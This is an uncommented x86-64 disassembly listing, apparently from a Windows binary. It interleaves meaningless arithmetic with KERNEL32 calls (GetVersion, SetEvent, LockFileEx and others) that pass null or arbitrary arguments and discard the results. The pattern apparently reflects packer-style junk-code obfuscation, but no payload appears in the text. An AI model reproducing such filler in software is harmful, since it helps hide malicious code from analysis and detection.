mov dword [rsp + 0x9d7c], eax
mov rax, qword [rsp + 0x12f78]
mov rcx, qword [0x140369dc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9ab4], eax
movzx eax, byte [rsp + 0x708]
movzx ecx, byte [rsp + 0x266]
sub eax, ecx
mov byte [rsp + 0x73a], al
movzx eax, word [rsp + 0x1f18]
mov rcx, qword [rsp + 0x131e8]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x140362458], ax
mov rax, qword [rsp + 0x13640]
mov eax, dword [rax]
mov rcx, qword [0x140369ba8]
mov qword [rsp + 0x13fb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13fb8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x8214], eax
mov eax, dword [rsp + 0x567c]
mov ecx, dword [rsp + 0x58d4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c1c], eax
mov rax, qword [rsp + 0x13b38]
mov eax, dword [rax]
mov dword [rsp + 0x9d80], eax
mov eax, dword [rsp + 0x8ee8]
mov ecx, dword [rsp + 0x9a84]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b6c], eax
mov rax, qword [rsp + 0x13c70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13be0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x189c], ax
mov rax, qword [0x140369be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x742]
and eax, ecx
mov byte [rsp + 0x23a], al
mov rax, qword [rsp + 0x13188]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13d48]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13bd8]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x2b74]
mov word [rsp + 0x2c5c], ax
mov eax, dword [0x140369de4]
mov dword [0x140369e60], eax
mov eax, dword [rsp + 0x9acc]
mov ecx, dword [rsp + 0x601c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d04], eax
mov rcx, qword [rsp + 0x12f50]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9a60], eax
mov rax, qword [rsp + 0x13020]
movzx eax, word [rax]
mov word [rsp + 0x2c60], ax
movzx eax, byte [rsp + 0x758]
mov rcx, qword [0x140369ce8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x49c], al
mov eax, dword [rsp + 0x8fd8]
mov ecx, dword [rsp + 0x8340]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9cfc], eax
lea rax, [rsp + 0x940c]
mov qword [rsp + 0x13fc0], rax
mov rax, qword [rsp + 0x13b50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8924]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c70], eax
mov eax, dword [rsp + 0x9aa0]
mov ecx, dword [rsp + 0x9d08]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x66b0], eax
movzx eax, word [rsp + 0x2b94]
mov rcx, qword [0x140369b88]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b9c], ax
lea rax, [rsp + 0x2b0]
mov qword [0x140369e68], rax
mov rax, qword [rsp + 0x13070]
mov ecx, dword [rsp + 0x8214]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9d70], eax
mov eax, dword [rsp + 0x9aac]
mov dword [rsp + 0x9d84], eax
mov eax, dword [rsp + 0x5c48]
mov ecx, dword [0x140369d50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5498], eax
mov rax, qword [rsp + 0x13bd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9cbc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9640], eax
mov eax, dword [rsp + 0x7fb0]
movzx ecx, al
mov eax, dword [rsp + 0x9b28]
sar eax, cl
mov rcx, qword [rsp + 0x13a30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13900]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x761]
shl eax, cl
mov rcx, qword [rsp + 0x13d48]
mov byte [rcx], al
lea rax, [rsp + 0x12cc]
mov qword [rsp + 0x13fc8], rax
mov dword [rsp + 0x20], 0x2f23
mov r9d, 0x2f76
mov r8d, 0x3158
mov edx, 0x303e
mov rcx, qword [rsp + 0x13c58]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9c30], eax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
cdq
mov ecx, 0x9ad
idiv ecx
mov word [rsp + 0x280c], ax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x21a]
or eax, ecx
mov rcx, qword [0x140369d00]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9d88], eax
mov rax, qword [rsp + 0x13f30]
mov eax, dword [rax]
mov dword [rsp + 0x9d8c], eax
mov rax, qword [0x140369c00]
mov rcx, qword [rsp + 0x13070]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x99b8], eax
lea rax, [rsp + 0x75f]
mov qword [rsp + 0x13fd0], rax
movzx eax, word [rsp + 0x210c]
mov rcx, qword [rsp + 0x13e18]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1dc8], ax
mov eax, dword [rsp + 0x9d2c]
mov ecx, dword [0x140362464]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13bd0]
mov dword [rcx], eax
lea rax, [rsp + 0x9cd8]
mov qword [rsp + 0x13fd8], rax
mov rax, qword [rsp + 0x130e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x86e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d04], eax
lea rdx, [rsp + 0x42b50]
mov rcx, qword [rsp + 0x131c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a38], eax
lea rax, [rsp + 0x9c20]
mov qword [rsp + 0x13fe0], rax
mov rax, qword [rsp + 0x13f90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x585]
sub eax, ecx
mov rcx, qword [0x140369db8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13af8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c48]
add eax, ecx
mov rcx, qword [rsp + 0x12f18]
mov word [rcx], ax
mov rax, qword [rsp + 0x12d88]
mov rcx, qword [rsp + 0x13418]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8cb0], eax
mov rax, qword [rsp + 0x13f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x84ac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x751c], eax
mov rax, qword [rsp + 0x13a40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x749]
sub eax, ecx
mov rcx, qword [rsp + 0x13050]
mov byte [rcx], al
mov rax, qword [rsp + 0x13958]
movzx eax, word [rax]
mov word [rsp + 0x2c64], ax
mov rax, qword [rsp + 0x13010]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13858]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13668]
mov byte [rcx], al
mov rax, qword [rsp + 0x131e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b8c]
xor eax, ecx
mov word [rsp + 0x1ab8], ax
mov eax, dword [rsp + 0x9be4]
mov dword [rsp + 0x9d90], eax
lea rax, [rsp + 0x9cf0]
mov qword [0x140369e70], rax
mov eax, dword [0x140362498]
movzx ecx, al
mov eax, dword [rsp + 0x9d74]
shl eax, cl
mov rcx, qword [rsp + 0x13498]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b78]
mov ecx, dword [rsp + 0x9998]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x73a0], eax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4b490]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9d94], eax
lea rdx, [rsp + 0x42ca0]
mov rcx, qword [rsp + 0x13de8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9ad8], eax
mov eax, dword [rsp + 0x9cd0]
mov ecx, dword [rsp + 0x5c48]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a30]
mov dword [rcx], eax
mov rax, qword [0x140369e28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29ac]
imul eax, ecx
mov word [rsp + 0x2bac], ax
lea rax, [rsp + 0x73f]
mov qword [rsp + 0x13fe8], rax
mov eax, dword [rsp + 0x9b20]
mov ecx, dword [rsp + 0x8f14]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13fc0]
mov eax, dword [rax]
mov dword [rsp + 0x9d98], eax
mov eax, dword [rsp + 0x9bb0]
mov ecx, dword [rsp + 0x9ccc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13350]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9b60]
mov ecx, dword [rsp + 0x870c]
and ecx, eax
mov eax, ecx
mov dword [0x1403624a8], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4aef0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9d9c], eax
mov rax, qword [rsp + 0x13888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18cc]
add eax, ecx
mov word [rsp + 0x288c], ax
mov rcx, qword [rsp + 0x13ca0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9a68], eax
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13ec0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x13c], al
movsx eax, word [0x14036247c]
mov rcx, qword [rsp + 0x13098]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c64], ax
movzx eax, byte [rsp + 0x73b]
mov byte [rsp + 0x762], al
mov rax, qword [rsp + 0x13338]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8654]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b78]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9afc], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x13ff0], rax
mov eax, dword [rsp + 0x86e8]
mov dword [rsp + 0x9da0], eax
movzx eax, byte [rsp + 0x75f]
movzx ecx, byte [rsp + 0x753]
add eax, ecx
mov rcx, qword [rsp + 0x13ab8]
mov byte [rcx], al
movzx eax, word [rsp + 0x12c4]
imul eax, eax, 0x85a
mov rcx, qword [rsp + 0x13b58]
mov word [rcx], ax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8654]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x140369d68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13a70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9d74]
shl eax, cl
mov dword [rsp + 0x6ee8], eax
mov rax, qword [0x140369da0]
mov ecx, dword [rsp + 0x8ac4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13880]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
lea rax, [rsp + 0x5418]
mov qword [rsp + 0x13ff8], rax
movzx eax, byte [rsp + 0x394]
movzx ecx, byte [rsp + 0x75d]
sar eax, cl
mov rcx, qword [rsp + 0x13278]
mov byte [rcx], al
movzx eax, word [rsp + 0x1310]
mov rcx, qword [rsp + 0x138f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2bf8], ax
mov rax, qword [rsp + 0x13768]
mov eax, dword [rax]
mov dword [rsp + 0x9da4], eax
mov rcx, qword [rsp + 0x12fd0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x993c], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [rsp + 0x137a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fb0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ac4], eax
mov rax, qword [rsp + 0x12cf8]
mov eax, dword [rax]
mov ecx, dword [0x140369c70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8f30], eax
lea rax, [rsp + 0x58d4]
mov qword [0x140369e78], rax
mov rax, qword [rsp + 0x13408]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d54]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ec0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9da8], eax
movzx eax, word [0x14036248c]
mov word [rsp + 0x2c68], ax
mov rax, qword [rsp + 0x13a40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x749]
add eax, ecx
mov rcx, qword [rsp + 0x13a58]
mov byte [rcx], al
mov rax, qword [rsp + 0x13ec0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x752]
and eax, ecx
mov byte [rsp + 0x702], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
lea rax, [rsp + 0x26d0]
mov qword [rsp + 0x14000], rax
mov rax, qword [rsp + 0x132d8]
mov ecx, dword [rsp + 0x9c04]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f78]
mov eax, dword [rax]
mov dword [rsp + 0x9dac], eax
mov rax, qword [0x140369d58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13380]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bf4], ax
movzx eax, byte [rsp + 0x4a8]
mov rcx, qword [rsp + 0x13010]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140369ce8]
mov byte [rcx], al
mov eax, dword [rsp + 0x9808]
mov ecx, dword [rsp + 0x9b6c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13368]
mov dword [rcx], eax
lea rax, [rsp + 0x9b64]
mov qword [rsp + 0x14008], rax
mov rax, qword [rsp + 0x136f8]
mov rcx, qword [rsp + 0x131f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9c44], eax
mov rax, qword [rsp + 0x13bc0]
mov rcx, qword [0x140369d20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x777c], eax
movzx eax, byte [rsp + 0x702]
movzx ecx, byte [rsp + 0x708]
xor eax, ecx
mov rcx, qword [rsp + 0x132e8]
mov byte [rcx], al
movzx eax, word [rsp + 0x17e8]
mov rcx, qword [rsp + 0x13610]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x13020]
mov word [rcx], ax
mov rax, qword [rsp + 0x133d0]
mov eax, dword [rax]
mov dword [rsp + 0x9db0], eax
mov eax, dword [rsp + 0x9b84]
mov rcx, qword [rsp + 0x13828]
mov qword [rsp + 0x14010], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14010]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6218], eax
lea rax, [rsp + 0x268c]
mov qword [0x140369e80], rax
mov rax, qword [rsp + 0x13bb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13550]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x399], al
mov rax, qword [rsp + 0x12e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29ac]
or eax, ecx
mov word [rsp + 0x1f18], ax
mov rax, qword [rsp + 0x13c40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x630]
and eax, ecx
mov byte [rsp + 0x266], al
mov eax, dword [rsp + 0x9be4]
mov dword [rsp + 0x9db4], eax
mov rcx, qword [rsp + 0x12ee0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9a3c], eax
mov rax, qword [rsp + 0x133c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c28]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6588], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0x138d8]
mov eax, dword [rax]
mov dword [rsp + 0x9db8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x14018], rax
mov rax, qword [rsp + 0x13ed8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9cac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x130e8]
mov dword [rcx], eax
lea rax, [rsp + 0x9c10]
mov qword [rsp + 0x14020], rax
movzx eax, byte [rsp + 0x204]
movzx ecx, byte [0x140363edf]
or eax, ecx
mov rcx, qword [rsp + 0x13ab8]
mov byte [rcx], al
movzx eax, word [rsp + 0x2324]
movzx ecx, word [rsp + 0x20d8]
imul eax, ecx
mov rcx, qword [0x140369d58]
mov word [rcx], ax
mov rax, qword [rsp + 0x13790]
mov ecx, dword [rsp + 0x9a18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8ee8], eax
lea rax, [0x14036246c]
mov qword [rsp + 0x14028], rax
mov eax, dword [rsp + 0x9950]
mov ecx, dword [rsp + 0x9c68]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9aac], eax
mov rax, qword [rsp + 0x13d38]
mov ecx, dword [rsp + 0x6234]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x833c], eax
movzx eax, byte [rsp + 0x75a]
movzx ecx, byte [rsp + 0x74f]
sub eax, ecx
mov rcx, qword [rsp + 0x13598]
mov byte [rcx], al
mov rax, qword [rsp + 0x13ed0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c0c]
sub eax, ecx
mov word [rsp + 0x2c38], ax
lea rax, [rsp + 0x2bdc]
mov qword [rsp + 0x14030], rax
movsx eax, byte [0x140363f1e]
movsx ecx, byte [rsp + 0x399]
sar eax, cl
mov byte [rsp + 0x6fc], al
mov rax, qword [rsp + 0x13748]
mov rcx, qword [rsp + 0x13080]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x140369d08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9c34]
mov dword [rsp + 0x9dbc], eax
mov edx, 0x533
mov rcx, qword [rsp + 0x133f8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9ab8], eax
movzx eax, byte [rsp + 0x37f]
cdq
mov ecx, 0xb
idiv ecx
mov byte [rsp + 0x703], al
mov rax, qword [rsp + 0x13448]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13728]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2be0], ax
lea rax, [0x140369be8]
mov qword [rsp + 0x14038], rax
mov eax, dword [rsp + 0x9a34]
mov ecx, dword [rsp + 0x9aa8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13028]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13cc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x92e8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5b9c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov eax, dword [rsp + 0x9d0c]
mov ecx, dword [0x140369c28]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13570]
mov dword [rcx], eax
mov rax, qword [rsp + 0x130d8]
movzx eax, byte [rax]
mov byte [rsp + 0x763], al
lea rax, [rsp + 0x2c3c]
mov qword [0x140369e88], rax
mov rax, qword [rsp + 0x12f68]
mov rcx, qword [rsp + 0x13978]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13a00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13fb0]
mov rcx, qword [rsp + 0x12dd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9d08], eax
mov rax, qword [rsp + 0x13938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a2c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c14], eax
mov rax, qword [rsp + 0x132b8]
mov ecx, dword [rsp + 0x9c7c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9db8], eax
lea rax, [rsp + 0x9ac8]
mov qword [rsp + 0x14040], rax
mov rax, qword [rsp + 0x13188]
movsx eax, byte [rax]
movsx ecx, byte [0x140363efc]
sub eax, ecx
mov rcx, qword [rsp + 0x139f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13a80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c04]
add eax, ecx
mov word [rsp + 0x2c44], ax
lea rax, [rsp + 0x73a]
mov qword [rsp + 0x14048], rax
mov rax, qword [rsp + 0x13410]
movzx eax, word [rax]
movzx ecx, word [0x140369c6c]
and eax, ecx
mov rcx, qword [0x140369c50]
mov word [rcx], ax
lea rdx, [rsp + 0x42ca0]
mov rcx, qword [rsp + 0x13e30]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9dc0], eax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4ab90]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9c4c], eax
mov rax, qword [rsp + 0x13b18]
mov ecx, dword [rsp + 0x9b1c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9b04], eax
mov eax, dword [rsp + 0x9cd8]
mov dword [rsp + 0x9dc4], eax
movzx eax, byte [rsp + 0x73f]
movzx ecx, byte [rsp + 0x73d]
sar eax, cl
mov byte [rsp + 0x49b], al
movzx eax, word [rsp + 0x2ba4]
cdq
mov ecx, 0xb11
idiv ecx
mov rcx, qword [rsp + 0x13998]
mov word [rcx], ax
mov rax, qword [rsp + 0x13d18]
mov eax, dword [rax]
mov dword [rsp + 0x9dc8], eax
mov eax, dword [0x140369ce0]
movzx ecx, al
mov eax, dword [rsp + 0x5418]
shl eax, cl
mov rcx, qword [rsp + 0x130a8]
mov dword [rcx], eax
lea rax, [rsp + 0x526c]
mov qword [rsp + 0x14050], rax
mov rax, qword [rsp + 0x13ed8]
mov rcx, qword [rsp + 0x137f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x136c0]
mov dword [rcx], eax
lea rax, [0x1403525af]
mov qword [0x140369e90], rax
movzx eax, word [rsp + 0x1a5c]
mov rcx, qword [rsp + 0x13158]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x138f8]
mov word [rcx], ax
lea rax, [rsp + 0x57fc]
mov qword [rsp + 0x14058], rax
mov eax, dword [0x140369bec]
mov ecx, dword [rsp + 0x9c78]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a10], eax
lea rax, [rsp + 0x2c10]
mov qword [rsp + 0x14060], rax
movsx eax, byte [rsp + 0x491]
mov rcx, qword [rsp + 0x13bd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13f00]
mov byte [rcx], al
lea rax, [rsp + 0x585]
mov qword [rsp + 0x14068], rax
mov rax, qword [0x140369c18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13c60]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13898]
mov word [rcx], ax
mov rax, qword [rsp + 0x13338]
mov ecx, dword [rsp + 0x9a94]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9c54], eax
mov rax, qword [rsp + 0x13808]
mov ecx, dword [rsp + 0x86dc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x140369e78]
mov dword [rcx], eax
lea rax, [rsp + 0x9cf0]
mov qword [rsp + 0x14070], rax
mov rax, qword [rsp + 0x134f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b10], eax
lea rax, [0x140369c28]
mov qword [rsp + 0x14078], rax
movzx eax, byte [rsp + 0x750]
mov rcx, qword [rsp + 0x13a88]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x630], al
movzx eax, word [rsp + 0x2bcc]
mov rcx, qword [rsp + 0x13370]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2bfc], ax
mov rax, qword [0x140369d80]
mov ecx, dword [rsp + 0x9aa4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x527c], eax
mov rax, qword [rsp + 0x135b0]
mov ecx, dword [rsp + 0x9ac4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9abc], eax
mov rcx, qword [rsp + 0x12be8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9dcc], eax
mov rax, qword [rsp + 0x130e8]
mov eax, dword [rax]
mov dword [rsp + 0x9dd0], eax
lea rax, [rsp + 0x9cbc]
mov qword [0x140369e98], rax
mov rax, qword [rsp + 0x12f70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13da0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12f28]
mov byte [rcx], al
movzx eax, word [rsp + 0x2c30]
mov rcx, qword [rsp + 0x137b0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2c24], ax
mov rax, qword [0x140369e80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13008]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1bd0], ax
movsx eax, byte [rsp + 0x184]
mov rcx, qword [rsp + 0x13d48]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x518], al
lea rax, [rsp + 0x9db4]
mov qword [rsp + 0x14080], rax
mov rax, qword [rsp + 0x13de0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13ea0]
mov qword [rsp + 0x14088], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14088]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9d08], eax
movzx eax, word [rsp + 0x2b78]
movzx ecx, word [rsp + 0x2bbc]
imul eax, ecx
mov word [rsp + 0x2bf8], ax
mov rax, qword [0x140369cb0]
movzx eax, byte [rax]
mov byte [rsp + 0x764], al
mov rax, qword [rsp + 0x13b78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9354]
or ecx, eax
mov eax, ecx
mov dword [0x140369b78], eax
mov rax, qword [rsp + 0x13a70]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8f50], eax
mov rax, qword [0x140369e78]
mov eax, dword [rax]
mov dword [rsp + 0x9dd4], eax
mov rax, qword [rsp + 0x13928]
mov rcx, qword [rsp + 0x13920]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8ee8], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x33d8
mov r9d, 0x499
mov r8d, 0x8331667f
mov edx, 1
mov rcx, qword [rsp + 0x13c58]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9d10], eax
lea rax, [rsp + 0x72e]
mov qword [rsp + 0x14090], rax
mov rax, qword [rsp + 0x13c90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ba8]
add eax, ecx
mov rcx, qword [rsp + 0x135c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12d10]
mov rcx, qword [rsp + 0x13680]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9ce4], eax
lea rax, [rsp + 0x9a6c]
mov qword [rsp + 0x14098], rax
mov rax, qword [rsp + 0x13070]
mov ecx, dword [rsp + 0x6f2c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9bcc], eax
mov rax, qword [rsp + 0x13780]
mov eax, dword [rax]
mov dword [0x140369ea0], eax
mov rax, qword [rsp + 0x139a0]
mov rcx, qword [rsp + 0x14008]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x76ec], eax
mov rax, qword [0x140369e00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13f00]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x518], al
movsx eax, word [rsp + 0x1640]
mov rcx, qword [rsp + 0x13740]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13e38]
mov word [rcx], ax
lea rax, [rsp + 0x2bd0]
mov qword [rsp + 0x140a0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a08], eax
mov rax, qword [rsp + 0x132c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13590]
movzx ecx, byte [rcx]
imul eax, ecx
